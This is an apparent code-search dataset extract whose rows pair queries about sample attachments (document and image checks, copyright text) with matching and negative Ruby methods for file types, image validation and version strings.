query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Return true if one of the sample attachments is document
def contains_document? result = false sample_attachments.map{|sa| result = true if sa.is_document?} result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def document?\n self.type == \"Document\"\n end", "def document?\n self.type == \"Assetabler::Document\"\n end", "def attachments?\n self.primary_attachment.file? || self.secondary_attachment.file?\n end", "def has_attachment?\n @has_attachment ||=\n mime_parts(\"text/plain\").any? do |type, fn, id, content|\n fn && (type !~ SIGNATURE_ATTACHMENT_TYPE)\n end\n end", "def attachment?\n !!find_attachment\n end", "def attachments?\n !attachments.empty?\n end", "def supporting_document_other?\n supporting_document_list.include?('OTHER')\n end", "def specification_attached?\n self.eco_documents.detect { |d| d.specification? } != nil\n end", "def conforms_to_inline_attachment\n return true if @uti.start_with?(\"com.apple.notes.inlinetextattachment\")\n return false\n end", "def has_attachments\n preneed_attachments.present?\n end", "def opendocument?\n OPENDOCUMENT_EXTENSIONS.include? file_extension.upcase\n end", "def allows_document?\n self.allows_title? && ![TITLE, COVER].include?(self.kind)\n end", "def has_attachments?\n !(attachments.nil? || attachments.empty? || attachments[0].empty?)\n end", "def has_attachment?\n !!attachment_ids && attachment_ids.any?\n end", "def attachment?\n attachment.present? && attachment.readable?\n end", "def has_attachments?\n !attachments.empty?\n end", "def attachments?\n self.attachments.size > 0\n end", "def attachments?\n self.attachments.size > 0\n end", "def has_docs_for_type?(type)\n self.vlp_documents.any?{ |doc| doc.verification_type == type && doc.identifier }\n end", "def can_read_document?(doc = nil)\r\n true\r\n end", "def has_files?\n attachments.count > 0\n end", "def has_attachments\n return @has_attachments\n end", "def has_attachments\n return @has_attachments\n end", "def has_attachments\n return @has_attachments\n end", "def has_attachments\n return @has_attachments\n end", "def attached?\n attachments.any?\n end", "def opendocument?\n false\n end", "def opendocument?\n false\n end", "def specification_identified?\n self.specification_attached? || !self.document_link.blank?\n end", "def contains_image?\n result = false\n sample_attachments.map{|sa| result = true if sa.is_image?}\n result\n end", "def in_a_document?\n state = false\n state = true if document_lines.count > 0\n return state\n end", "def document?\n node_type == DOCUMENT_NODE\n end", "def doc?\n (doc && !doc.empty?)\n end", "def doc?\n (doc && !doc.empty?)\n end", "def successful?\n !documents.nil?\n end", "def docbook_doc?\n node_type == DOCB_DOCUMENT_NODE\n end", "def has_body_as_html?\n if self.content_type == 'application/vnd.ms-word'\n return true\n elsif self.content_type == 'application/pdf'\n return true\n end\n return false\n end", "def contains_audio?\n result = false\n sample_attachments.map{|sa| result = true if sa.is_audio?}\n result\n end", "def subclassed_document?\n @subclassed_doc ||= superclass.ancestors.include?(ActiveDocument)\n end", "def wants_only_file_set?\n solr_document.file_set_ids.size == 1 && params[:export_type] == 'files'\n end", "def typed?\n document.hereditary? ||\n document.class.descendants.any? ||\n document.polymorphic?\n end", "def multipart?\n\t true\n\tend", "def wp_attachment_is(type, post = nil)\n post = get_post(post)\n return false if post.nil?\n\n return false if (!file = get_attached_file(post.id))\n\n return true if post.post_mime_type.index(type + '/') == 0\n\n check = wp_check_filetype(file)\n return false if check[:ext].blank?\n\n ext = check[:ext]\n\n if 'import' != post.post_mime_type\n return type == ext\n end\n\n case type\n when 'image'\n ['jpg', 'jpeg', 'jpe', 'gif', 'png'].include? ext\n when 'audio'\n wp_get_audio_extensions.include? ext\n when 'video'\n wp_get_video_extensions.include? ext\n else\n type == ext\n end\n end", "def multiple_file_submission?(question)\n question.specific.multiple_file_submission\n end", "def multiple_file_submission?(question)\n question.specific.multiple_file_submission\n end", "def multipart?\n false\n end", "def multipart_report?\n multipart? && sub_type =~ /^report$/i\n end", "def plain_document?\n document.elements.empty?\n end", "def has_multipart?(obj); end", "def doc?(doc)\n assert_type(doc, Wgit::Document)\n hash = { 'url.url' => doc.url }\n @client[:documents].find(hash).any?\n end", "def generated_net_docfile?\n return false unless extname.downcase == \".xml\"\n return false unless lines.count > 3\n\n # .NET Docfiles always open with <doc> and their first tag is an\n # <assembly> tag\n return lines[1].include?(\"<doc>\") &&\n lines[2].include?(\"<assembly>\") &&\n lines[-2].include?(\"</doc>\")\n end", "def contains_video?\n result = false\n sample_attachments.map{|sa| result = true if sa.is_video?}\n result\n end", "def document?\n is_a? XML::Document\n end", "def is_pdf?\n mime_type == PDF\nend", "def attachment?(file_name)\n frm.link(:text=>file_name).exist?\n end", "def multipart?\n message.multipart?\n end", "def doc?(doc_hash)\n @@db.client[:documents].find(doc_hash).any?\n end", "def multipart?\n has_content_type? ? !!(main_type =~ /^multipart$/i) : false\n end", "def is_pdf?\n self.image_file_name.split('.').last == 'pdf'\n end", "def documents_equal?(a, b)\n normalize_document(a) == normalize_document(b)\n end", "def document?\n @value.is_a?(Liquid::Document)\n end", "def attached?\n attachment.present?\n end", "def is_office?\n ['doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx'].include? self.image_file_name.split('.').last\n end", "def pdf_present?\n self.filespec && File.exists?(self.filespec)\t\nend", "def doc?(doc)\n assert_type(doc, Wgit::Document)\n query = { 'url.url' => doc.url }\n retrieve(DOCUMENTS_COLLECTION, query, limit: 1).any?\n end", "def is_citable document\n if document.respond_to?(:export_as_mla_citation_txt) || document.respond_to?(:export_as_apa_citation_txt)\n return true\n end\n end", "def homegrown_content?(document = @document)\n (document['source_ss'] || []).any? { |s| ['orbit','sorbit'].include? s }\n end", "def homegrown_content?(document = @document)\n (document['source_ss'] || []).any? { |s| ['orbit','sorbit'].include? s }\n end", "def include_type_name?\n type_name != \"_doc\" || connection.version.to_i < 7\n end", "def merged?\n RDoc::Markup::Document === @parts.first\n end", "def base_doc?\n !@casted_by\n end", "def document?(location)\n location.file? and location.extname == \".pione\"\n end", "def image?\n document_content_type =~ %r{^(image|(x-)?application)/(bmp|gif|jpeg|jpg|pjpeg|png|x-png)$}\n end", "def is_natural?\n identification_document_type.is_natural\n end", "def specification\n return self.eco_documents.detect { |d| d.specification? }\n end", "def multipart?\n @multipart\n end", "def multipart?\n @multipart\n end", "def multipart?\n true unless parts.empty?\n end", "def sample_template?\n return false if external_asset.is_a? OpenbisExternalAsset\n possible_sample_types.any?\n rescue SysMODB::SpreadsheetExtractionException\n false\n end", "def has_attachment?(attachment_name)\n !!(self['_attachments'] && self['_attachments'][attachment_name] && !self['_attachments'][attachment_name].empty?)\n end", "def mentioning?\n # Skip send notification if Doc not in publishing\n if instance_of?(Doc)\n publishing?\n else\n true\n end\n end", "def validated?(document)\n validations_for(document.class).include?(document.id)\n end", "def base_doc?\n !@casted_by\n end", "def ensure_attachment_present\n if attachments.empty?\n false\n else\n errors.add(:base, 'Attachment needed')\n true\n end\n end", "def doc_file?(file)\n DOC_FILES.any? do |doc|\n doc.is_a?(Regexp) ? doc.match(file) : doc == file\n end\n end", "def contents_detected?\n true\n end", "def is_a_recording?\n manifestation_type.manifestation_type_category == 2\n end", "def attached?(filename); end", "def has_attachments=(value)\n @has_attachments = value\n end", "def has_attachments=(value)\n @has_attachments = value\n end", "def has_attachments=(value)\n @has_attachments = value\n end", "def has_attachments=(value)\n @has_attachments = value\n end", "def is_link?\n self.type == 'Document::VirtualCollege' && !is_pdf?\n end", "def pdf?\n http_response&.content_type&.underscore == 'application/pdf'\n end", "def multipart?\n http.headers[\"content-type\"] =~ /^multipart/\n end", "def binary?\n %w[pdf epub epub3 odt docx].include? @format\n end", "def attached?\n self.attachments.map(&:state).any? { |state| state == \"attached\" || state == \"attaching\" }\n end", "def attached?\n xml || model \n end", "def publication_match_in_profile\n @info.available_related_content_types.include? 'emp'\n end", "def supports_derivatives?\n (attachment_content_type =~ %r{^(image|(x-)?application)/(bmp|jpeg|jpg|pjpeg|png|webp|x-png)$}).present?\n end" ]
[ "0.7421489", "0.72226393", "0.6975207", "0.68808115", "0.6841749", "0.6834438", "0.6796937", "0.6764376", "0.675387", "0.6752013", "0.67345655", "0.6716876", "0.6655362", "0.66215694", "0.6601603", "0.6555731", "0.65441716", "0.65441716", "0.6525107", "0.65045315", "0.6482741", "0.6479774", "0.6479774", "0.6479774", "0.6479774", "0.6467683", "0.64503276", "0.64503276", "0.63378614", "0.6320372", "0.62523097", "0.6239263", "0.6223039", "0.6223039", "0.6216003", "0.6200767", "0.6195042", "0.61923265", "0.61850786", "0.6164954", "0.61598605", "0.61566514", "0.6156576", "0.6154479", "0.6154479", "0.6150575", "0.61337703", "0.6116339", "0.61105657", "0.61083597", "0.60889375", "0.60838085", "0.6081394", "0.6078443", "0.60598", "0.6058265", "0.60561144", "0.6049624", "0.6036407", "0.6035526", "0.60328245", "0.6027605", "0.598946", "0.597007", "0.5967922", "0.59678125", "0.59653646", "0.59653646", "0.59533674", "0.5948345", "0.594652", "0.59433156", "0.5921123", "0.5907401", "0.590665", "0.5904876", "0.5904876", "0.59015226", "0.58974034", "0.58959025", "0.5883334", "0.5874642", "0.5872149", "0.5858621", "0.58556175", "0.5849028", "0.5845504", "0.58445156", "0.58412844", "0.58412844", "0.58412844", "0.58412844", "0.5835233", "0.58264744", "0.5805827", "0.5804533", "0.58006674", "0.5761875", "0.5754794", "0.5753979" ]
0.865764
0
Return true if one of the sample attachments is image
def contains_image? result = false sample_attachments.map{|sa| result = true if sa.is_image?} result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def image?\n attachment_content_type =~ %r{^(image|(x-)?application)/(bmp|gif|jpeg|jpg|pjpeg|png|x-png)$}\n end", "def image?\n self.file_content_type == 'image/png' || self.file_content_type == 'image/jpeg'\n end", "def is_image?\n !(attachment_content_type =~ /^image.*/).nil?\n end", "def image?\n @image ||= !!(attachment_content_type =~ /^image\\/.+/)\n end", "def isImage\n if self.image.attached? && self.image.content_type.in?(\"%w{image/jpeg,image/png,image/jpg}\")\n return true\n else\n return false\n end\n end", "def check_if_image?\n !(attachment_content_type =~ /^image.*/).nil?\n end", "def is_type_image?\n image_types.include? self.data_content_type\n end", "def image? new_file\n new_file.content_type.start_with? 'image'\n end", "def image?(file)\n file.content_type.include? 'image'\n end", "def image?\n self.content_type.to_s.index(/image/).nil?\n end", "def image?(new_file)\n self.file.content_type.include? 'image'\n end", "def image?\n (self.file_content_type =~ %r{^(image|(x-)?application)/(x-png|pjpeg|jpeg|jpg|png|gif)$})\n end", "def image?\n self.type == \"Image\"\n end", "def image?\n document_content_type =~ %r{^(image|(x-)?application)/(bmp|gif|jpeg|jpg|pjpeg|png|x-png)$}\n end", "def image?\n file_type.match(/\\Aimage\\//).present?\n end", "def is_image_type?\n file_content_type =~ %r(image)\n end", "def image?\n !!( content_type =~ Transit.config.image_regexp )\n end", "def image?\n self.sti_type == IMAGE_TYPE\n end", "def is_image?\n content_type.split('/')[0] == \"image\"\n end", "def image?(content_type)\n content_types.include?(content_type)\n end", "def image?\n picture_content_type =~ %r{^(image|(x-)?application)/(bmp|gif|jpeg|jpg|pjpeg|png|x-png)$}\n end", "def not_image?(new_file)\n !self.file.content_type.include? 'image'\n end", "def supports_derivatives?\n (attachment_content_type =~ %r{^(image|(x-)?application)/(bmp|jpeg|jpg|pjpeg|png|webp|x-png)$}).present?\n end", "def image?\n photo_content_type =~ %r{^(image|(x-)?application)/(bmp|gif|jpeg|jpg|pjpeg|png|x-png)$}\n end", "def image?()\n IMAGE_EXTS.include? extname\n end", "def is_image_type?\n photo_content_type =~ %r(image)\n end", "def is_image?\n if self.mimetype\n self.mimetype =~ %r(image)\n elsif self.file_upload_content_type\n self.file_upload_content_type =~ %r(image)\n end\n end", "def image?\n self.image.file?\n end", "def image?\n self.image.file?\n end", "def is_processed_image? picture\n model.class.to_s.underscore == \"pimage\"\n end", "def valid_image_format?\n VALID_FILE_MIMETYPES.include? self.filetype\n end", "def image_file?\n false\n end", "def not_image?(file)\n !file.content_type.include? 'image'\n end", "def image?\n %w(jpg jpeg gif png).include?(file_ext.downcase)\n end", "def image?\n self.type == \"Assetabler::Image\"\n end", "def image?\n image ? true : false\n end", "def has_image?\n \t# self.image.file?\n true\n end", "def image?\n @streams.any? { |stream| stream.is_a? ImageStream }\n end", "def is_image_type?\n background_media.content_type =~ %r(image)\n end", "def attachments?\n self.primary_attachment.file? || self.secondary_attachment.file?\n end", "def image?\n return ( VALID_HEADERS.include? @hdr_reader )\n end", "def attachments?\n !attachments.empty?\n end", "def has_image?(image)\n # FIXME\n true\n end", "def contains_document?\n result = false\n sample_attachments.map{|sa| result = true if sa.is_document?}\n result\n end", "def is_image?\n ['jpg', 'jpeg', 'pjpeg', 'png', 'bmp', 'gif', 'x-png'].include? self.image_file_name.split('.').last\n end", "def image?\n IMAGE_EXTENSIONS.include? File.extname(filename)[1..-1]\n end", "def image?\n !!image\n end", "def has_image?\n false\n end", "def image?\n ext = File.extname(@path)\n case ext.downcase\n when '.png', '.jpg', '.jpeg', '.gif'; return true\n else; return false\n end\n end", "def attachment?\n attachment.present? && attachment.readable?\n end", "def has_attachments?\n !attachments.empty?\n end", "def derived_image?\n respond_to?(:format_name) && !format_name.blank?\n end", "def has_attachment?\n @has_attachment ||=\n mime_parts(\"text/plain\").any? do |type, fn, id, content|\n fn && (type !~ SIGNATURE_ATTACHMENT_TYPE)\n end\n end", "def has_attachments\n preneed_attachments.present?\n end", "def attachment?\n !!find_attachment\n end", "def has_attachments?\n !(attachments.nil? || attachments.empty? || attachments[0].empty?)\n end", "def attached?\n attachments.any?\n end", "def wp_attachment_is(type, post = nil)\n post = get_post(post)\n return false if post.nil?\n\n return false if (!file = get_attached_file(post.id))\n\n return true if post.post_mime_type.index(type + '/') == 0\n\n check = wp_check_filetype(file)\n return false if check[:ext].blank?\n\n ext = check[:ext]\n\n if 'import' != post.post_mime_type\n return type == ext\n end\n\n case type\n when 'image'\n ['jpg', 'jpeg', 'jpe', 'gif', 'png'].include? ext\n when 'audio'\n wp_get_audio_extensions.include? ext\n when 'video'\n wp_get_video_extensions.include? ext\n else\n type == ext\n end\n end", "def attachments?\n self.attachments.size > 0\n end", "def attachments?\n self.attachments.size > 0\n end", "def process_as_image?(extension)\n ['.png', '.jpg', '.gif', '.psd', '.jpeg'].include? extension\nend", "def previewable?\n image? file\n end", "def geifile?\n @raw_image_files.first.geifile?\n end", "def has_files?\n attachments.count > 0\n end", "def has_image?\n !image.nil?\n end", "def should_process?(image_file, image_metadata)\n true\n end", "def web_image?\n %w(png jpg jpeg gif).each do |sub_type|\n return true if Rack::Mime.match?(mime_type, \"image/#{sub_type}\")\n end\n\n false\n end", "def picture?\n ThriveSmart::Helpers::AssetHelper::asset?(asset_type, asset_urn)\n end", "def is_image?(resource, attribute)\n file = resource.send(attribute) if resource.respond_to?(attribute)\n is_document?(resource, attribute) && file && file.respond_to?(:styles) && !file.styles.blank?\n end", "def allow_only_images\n unless file.content_type =~ %r{^(image|(x-)?application)/(x-png|pjpeg|jpeg|jpg|gif|png|tif|raw|bmp|svg|)$}\n false\n end\n end", "def images? ; !(@images.nil? || @images.empty?) ; end", "def contains_images?\n !@url.nil?\n end", "def renderable?\n\t\t['image/jpeg', 'image/gif', 'image/png'].include? content_type\n\tend", "def has_image\n return self.food_images.size>0\n end", "def contains_audio?\n result = false\n sample_attachments.map{|sa| result = true if sa.is_audio?}\n result\n end", "def attached?(filename); end", "def contains_video?\n result = false\n sample_attachments.map{|sa| result = true if sa.is_video?}\n result\n end", "def has_attachment?\n !!attachment_ids && attachment_ids.any?\n end", "def valid_other_image_parameters?\n # check version of gif\n return Image.gif89a?(@file_temp_path) if @file_type == GIF_TYPE\n # check \"color system\" of \"jpeg, jpg\" file\n return Image.rgb_color_system?(@file_temp_path) if @file_type == JPEG_TYPE\n # always return true with \"png\" file\n true if @file_type == PNG_TYPE\n end", "def valid_other_image_parameters?\n # check version of gif\n return Image.gif89a?(@file_temp_path) if @file_type == GIF_TYPE\n # check \"color system\" of \"jpeg, jpg\" file\n return Image.rgb_color_system?(@file_temp_path) if @file_type == JPEG_TYPE\n # always return true with \"png\" file\n true if @file_type == PNG_TYPE\n end", "def image_resource?\n change_set != \"recording\"\n end", "def wp_attachment_is_image(post = nil)\n return false if post.nil?\n Rails.cache.fetch('Railspress::' + 'Post.' + 'wp_attachment_is_image' + '/' + (((post.is_a?(Integer) || post.is_a?(String))) ? post : post.id).to_s ) {\n wp_attachment_is('image', post)\n }\n end", "def uploaded_image_displayed?\n displayed? UPLOADED_IMAGE\n end", "def has_attachments\n return @has_attachments\n end", "def has_attachments\n return @has_attachments\n end", "def has_attachments\n return @has_attachments\n end", "def has_attachments\n return @has_attachments\n end", "def has_multipart?(obj); end", "def pfile?\n @raw_image_files.first.pfile?\n end", "def valid_other_image_parameters?\n # check version of gif\n return Image.gif89a?(@file_temp_path) if @file_type == GIF_TYPE\n # check \"color system\" of \"jpeg, jpg\" file\n return Image.rgb_color_system?(@file_temp_path) if @file_type == JPG_TYPE\n # always return true with \"png\" file\n true if @file_type == PNG_TYPE\n end", "def is_main_image?\n self.primary_image == true\n end", "def contains_jpeg?\n contains_images? and @url =~ /j\\z/i\n end", "def valid?\n image_resource? && supported_format?\n end", "def image_upload_allowed?\n company = sender.company\n !!company.settings.recognition_editor_settings[:allow_uploading_images]\n end", "def image?(src)\n !File.directory?(src)\n end", "def kyc_images_validation\n return unless document_uploaded?\n %w[selfie_picture govt_id_picture id_picture].each do |file|\n file = send(file)\n return errors[:base] << I18n.t('wrong_img_format') unless ( file.content_type =~ /^image\\/(jpeg|pjpeg|gif|png|bmp)$/ ) || ( file.content_type.in?([\"application/pdf\"]) )\n end\n end", "def photograph?\n true\n end", "def attached?\n attachment.present?\n end", "def accept_attachment?(attachment)\n if attachment.content_type.start_with?('image/') && attachment.content_disposition.start_with?('inline; ')\n false\n else\n super\n end\n rescue => e\n # log error\n RedmineHtmlMailHandler::HtmlMailHandlerLogger.write(:error, \"ERROR=#{e.message}\")\n RedmineHtmlMailHandler::HtmlMailHandlerLogger.write(:error, \"BACKTRACE=\\n#{e.backtrace.join(\"\\n\")}\")\n # raise error that can be catched by 'notify_invalid_mail_handler' plugin\n raise RedmineHtmlMailHandler::Error, e.message\n end", "def post_processing_required?\n puts \"2.52.52.52.52.52.5 post_processing_required 2.52.52.52.52.52.5\"\n %r{^(image|(x-)?application)/(bmp|gif|jpeg|jpg|pjpeg|png|x-png)$}.match(upload_content_type).present?\n end" ]
[ "0.80624455", "0.790793", "0.7903999", "0.7877861", "0.7830063", "0.77670777", "0.77140826", "0.7678046", "0.7607985", "0.75995284", "0.7590618", "0.7553504", "0.75505286", "0.7527717", "0.75230056", "0.75034297", "0.7499868", "0.74776083", "0.7396043", "0.737016", "0.7362303", "0.7350916", "0.7348986", "0.73287755", "0.7314215", "0.7304354", "0.73039454", "0.729991", "0.729991", "0.72994214", "0.7266685", "0.7239802", "0.71814024", "0.7179208", "0.7169555", "0.7167526", "0.7164612", "0.713519", "0.71249723", "0.7120603", "0.70968956", "0.7091444", "0.70769346", "0.7067332", "0.70447713", "0.7036527", "0.70260054", "0.7001287", "0.6981265", "0.69799846", "0.6970861", "0.6943187", "0.6925353", "0.6895917", "0.68902624", "0.6860129", "0.6847891", "0.6823996", "0.6799909", "0.6799909", "0.6787958", "0.6772866", "0.6768185", "0.67518735", "0.6740755", "0.6726234", "0.6714616", "0.66979045", "0.66678977", "0.66672873", "0.66613644", "0.66542387", "0.6619358", "0.65913945", "0.65838253", "0.65792876", "0.6578615", "0.65771145", "0.65717137", "0.65717137", "0.6571442", "0.656899", "0.65687686", "0.65620136", "0.65620136", "0.65620136", "0.65620136", "0.655846", "0.65570706", "0.6554493", "0.65524423", "0.6528234", "0.65038687", "0.6451966", "0.64293104", "0.6425399", "0.64100087", "0.6405092", "0.6399665", "0.635638" ]
0.8637065
0
Human readable version for website
def copyright result = "" if !sample_copyright.blank? result = "&copy; " result << sample_copyright result.gsub!('(c)', '') end result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def version\n \"Version: #{VERSION.split[1]} Created on: \" +\n \"#{REVISION_DATE.split[1]} by #{AUTHOR}\"\n end", "def version\n \"Version: #{VERSION.split[1]} Created on: \" +\n \"#{REVISION_DATE.split[1]} by #{AUTHOR}\"\n end", "def version\n \"Version: #{VERSION.split[1]} Created on: \" +\n \"#{REVISION_DATE.split[1]} by #{AUTHOR}\"\n end", "def version\n\t\t\tbegin\n\t\t\t\tv = \"#{GVB.major_version}.#{GVB.minor_version}.#{GVB.patch_version}\"\n\t\t\trescue\n\t\t\t\tv = File.read(\".gvb_version\") if File.exists?(\".gvb_version\")\n\t\t\tend\n\t\t\t# If we got a version then use it to construct a link to the github tag of the same\n\t\t\tif v\n\t\t\t\tl = link_to v, \"https://github.com/machiavellian/machiavelli/releases/tag/v#{v}\", target: \"blank\" if v\n\t\t\t\treturn \"version #{l} \".html_safe\n\t\t\tend\n\t\tend", "def version\n build_string\n end", "def head\n\tversion\n end", "def page_title\n h Array(@title).join(\" / \") + \" | integrity\"\n end", "def show_elf_version\n\t\t\tver_str = \"#{@elf_version}\"\n\t\t\tver_str += \" (current)\" if @elf_version == 1\n\t\t\tputs \" Version: #{ver_str}\"\n\t\tend", "def version\n @version_helper.to_s\n end", "def version\n @version_helper.to_s\n end", "def full_name\n \"#{@name}-#{@version}\"\n end", "def versionString()\n\t\t\t\treturn \"#{major}.#{minor}.#{build}\"\n\t\t\tend", "def show_file_version\n\t\t\tputs \" Version: #{@elf_version.to_h}\"\n\t\tend", "def details\n format_description(@description) + \"site name: \" + format_name\n end", "def title\n puts \"\\nTalia Digital Library system. Version: #{TaliaCore::Version::STRING}\" \n puts \"http://www.muruca.org/\\n\\n\"\n end", "def print_version\n puts \"nginx_statisic version 0.4.0\".yellow\n puts \"Created by Benjamin Held (May 2016)\".yellow\nend", "def version(app, env)\n response = env == \"staging\" ? \"#{app}-#{env}\" : \"#{app}\"\n #if env == \"staging\"\n #response = \"#{app}-#{env}\"\n #else\n #response = \"#{app}\"\n #end\n \":satellite: [CAP #{app.upcase}] version: https://#{response}.medivo.com/version.html\" unless response.empty?\n end", "def print_version()\n (version,packager,name) = get_version()\n puts name+\" v. \"+version+\" \"+packager\nend", "def output_version\n puts \"#{File.basename($0)} version #{BM_VERSION}\"\n end", "def get_version(version)\n \"V#{version.gsub('-','_')}\"\n end", "def info_string\n \"Rodsec v#{VERSION}\"\n end", "def version\n \"\\e[36mThis program is currently in version number: #{v_num}\\e[0m\"\n end", "def name_and_version\n [display_name, version].compact.join(' ')\n end", "def output_version\n puts \"#{File.basename(__FILE__)} version #{VERSION}\"\n end", "def modeler_description\n return \"NOTE: This will load and respond slowly in the OS app, especially if you select * on a variable with many possible keys or you select timestep data. Suggest you open it in a web browser like Chrome instead.\"\n end", "def details\n format_description(@description, 25) + \"site name: \" + (@site_name || \"\")\n end", "def version(version)\n @io.puts \"*v#{version}*\"\n @io.puts\n # Hacking in the overview file\n if File.exist?('OVERVIEW.md')\n @io.puts IO.read('OVERVIEW.md')\n @io.puts\n end\n end", "def slug_version\n slug + '-' + version.gsub('.', '_')\n end", "def version_name\n if self.version.nil?\n 'First Submission'\n else\n \"#{self.version.ordinalize}\"\n end\n end", "def detailed_name\n \"#{label} ( #{name}_V#{version} )\"\n end", "def herebody_s; end", "def to_s\n \"#{output}\\n[#{version}]\"\n end", "def http_version\n \"%d.%d\" % [self[:http_major], self[:http_minor]]\n end", "def http_fingerprint(res)\n\t\treturn if not res\n\t\treturn if not res.body\n\t\textras = []\n\n\t\tif (res.headers['X-Powered-By'])\n\t\t\textras << \"Powered by \" + res.headers['X-Powered-By']\n\t\tend\n\t\n\t\tcase res.body\n\n\t\t\twhen /Test Page for.*Fedora/\n\t\t\t\textras << \"Fedora Default Page\"\n\n\t\t\twhen /Placeholder page/\n\t\t\t\textras << \"Debian Default Page\"\n\t\t\t\t\n\t\t\twhen /Welcome to Windows Small Business Server (\\d+)/\n\t\t\t\textras << \"Windows SBS #{$1}\"\n\n\t\t\twhen /Asterisk@Home/\n\t\t\t\textras << \"Asterix\"\n\t\t\t\t\n\t\t\twhen /swfs\\/Shell\\.html/\n\t\t\t\textras << \"BPS-1000\"\n\t\t\t\n\t\tend\n\t\t\n\t\tif (extras.length == 0)\n\t\t\treturn ''\n\t\tend\n\t\t\n\t\t\n\t\t# Format and return\n\t\t' ( ' + extras.join(', ') + ' )'\n\tend", "def version_tag(text); end", "def to_s\n \"#{@distro.capitalize} #{@product.gsub(/_/, ' ').capitalize} #{@version}\"\n end", "def modeler_description\n 'NOTE: This will load and respond slowly in the OS app, especially if you select * on a variable with many possible keys or you select timestep data. Suggest you open it in a web browser like Chrome instead.'\n end", "def site_info\n render inline: \"<pre><%= website.to_yaml %></pre>\", layout: false\n end", "def display_version\n @colour.help FORGEN_VERSION_NUMBER\nend", "def ver\n if v = version\n str = +\"#{program_name} #{[v].join('.')}\"\n str << \" (#{v})\" if v = release\n str\n end\n end", "def version\n p\n version = File.read(HOSTER_PATH+\"/hoster.version\")\n puts PROGNAME + \" version \" + version\nend", "def full_info number \n\t\tshort_text = description.split(\"<br>\")[0][0..59]\n\t\tshort_text = short_text + \"...\" if short_text.length == 60\n\t\t\"#{number}. #{short_text}\"\n\tend", "def print_version()\n puts\n string = get_version()\n puts string\n puts\n return\nend", "def inspect\n\t\t\trval = super\n\t\t\treturn rval unless self.structure_version\n\t\t\tvstring = \"%d.%d\" % [ self.structure_version, self.data_version ]\n\t\t\treturn rval.sub( />$/, \"; version: #{vstring}>\" )\n\t\tend", "def version\n puts \"Version 1.1\"\nend", "def to_s\n\t\tgetUIversion().to_s\n\tend", "def to_s\n\t\tgetUIversion().to_s\n\tend", "def to_s\n version = get_version_string\n version << \"-#{get_pre_string}\" unless @pre == nil\n version << \"+#{get_build_string}\" unless @build == nil\n version\n end", "def version\n super.to_s\n end", "def version\n super.to_s\n end", "def to_s\n \"The Site\"\n end", "def get_version_string(uri)\n response = get_feed(uri)\n xml = REXML::Document.new response.body\n # use XPath to strip the href attribute of the first link whose\n # 'rel' attribute is set to edit\n edit_link = REXML::XPath.first(xml, '//[@rel=\"edit\"]')\n edit_link_href = edit_link.attribute('href').to_s\n # return the version string at the end of the link's href attribute\n return edit_link_href.split(/\\//)[10]\n end", "def description\n returning String.new do |d|\n d << backup_site.name.capitalize \n if title && !title.blank?\n d << \" - \" << title\n elsif respond_to?(:name) && !name.blank?\n d << \" - \" << name \n end\n end\n end", "def explain\n if build_version\n \"Build Version: #{build_version}\"\n else\n if from_dependency?\n \"Build Version will be determined from software '#{version_dependency}'\"\n else\n \"Build Version is not determined yet.\"\n end\n end\n end", "def details\n \"Downloaded #{sanitize_uri(@last_url)} (#{ scale(size.to_i).join(' ') }) at #{ scale(speed.to_i).join(' ') }/s\"\n end", "def to_s\n \"#{@cpe.distro.capitalize} #{@cpe.product.gsub(/_/, ' ').capitalize} \" \\\n \"#{@cpe.version}\"\n end", "def entry_banner\n 'Four by four'\n end", "def palladius_version\n\t:TODO\nend", "def titre\n \"Links Analysis du #{Time.now.strftime('%d %m %Y à %H:%M')}\"\n end", "def to_s\n getUIversion().to_s\n end", "def to_s\n getUIversion().to_s\n end", "def to_s\n getUIversion().to_s\n end", "def to_s\n getUIversion().to_s\n end", "def to_s\n getUIversion().to_s\n end", "def get_verbose_name\n # [Steve, 20140725] This is surely excessively long/repetitive too:\n \"#{edition} #{description} #{header_year} - #{get_federation_type} - (#{begin_date ? begin_date.strftime('%Y') : '?'}/#{end_date ? end_date.strftime('%y') : '?'}) \"\n end", "def summarise\n headerless = self.body.gsub(/\\<h\\d.*?\\>.*?\\<\\/h\\d\\>/m, '')\n summary = ActionView::Base.full_sanitizer.sanitize(headerless).strip.match(/^(.+?)[\\.\\r\\n]/m)&.captures&.first || self.title\n\n return \"#{ summary }.\"\n end", "def get_version\n\t\tself.dev_stage.blank? ? dev_stage_string = \"\" : dev_stage_string = self.dev_stage + \" \"\n\t\treturn dev_stage_string + self.maj_version.to_s + \".\" + self.min_version.to_s\n\tend", "def url_to_txt\n self.gsub(/\\*\\*/,'\"').gsub(/\\*/,\"'\").gsub(/_/,' ').humanize\n end", "def full_version\n return nil unless exact\n\n \"~> \".concat(version)\n end", "def version_tag\n version_composition.join(\".\")\n end", "def productVersion \n \"productVersion\" \n end", "def print_version_info()\n puts \"Versão: \" + $version_info[:version].to_s + \" \" + $version_info[:date].to_s\n puts \"-----\"\nend", "def to_s\n @version\n end", "def display_name\n return '' unless @research_output.is_a?(ResearchOutput)\n return \"#{@research_output.title[0..49]} ...\" if @research_output.title.length > 50\n\n @research_output.title\n end", "def blogs_weblog_explain; \"List your weblogs.\"; end", "def version_type(version)\n data = Settings::ProgramSettings.new.parse(\"https://github.com/Ekultek/whitewidow/blob/master/lib/misc/banner.rb\", \"td\", 57)\n arr = data.split(\" \")\n version_number = arr[7][/(\\d+\\.)?(\\d+\\.)?(\\d+\\.)?(\\*|\\d+)/]\n if version.count(\".\") <= 2\n return \"stable\".green.bold\n elsif version.length >= 3\n return \"dev\".yellow.bold\n elsif version != version_number\n return \"upgrade available\".red.bold\n else\n return \"unknown version type\".red.bold\n end\n\n end", "def create_weblog_explain; \"Create a brand new weblog.\"; end", "def gen_title(page_title)\n puts @me.valid_user?\n if !@me.valid_user?\n site_title=\"Delta Kappa Epsilon - Sigma Tau\"\n else\n site_title=\"DKE Server\"\n end\n if (page_title!=\"\")\n return \"#{site_title} | #{page_title}\" \n else\n return site_title\n end\n end", "def about\n puts \"The CLI Tracker was developed by Dakota States as part of a Flatiron School CLI Project. The data source: https://covid.ourworldindata.org/data/owid-covid-data.json\"\n end", 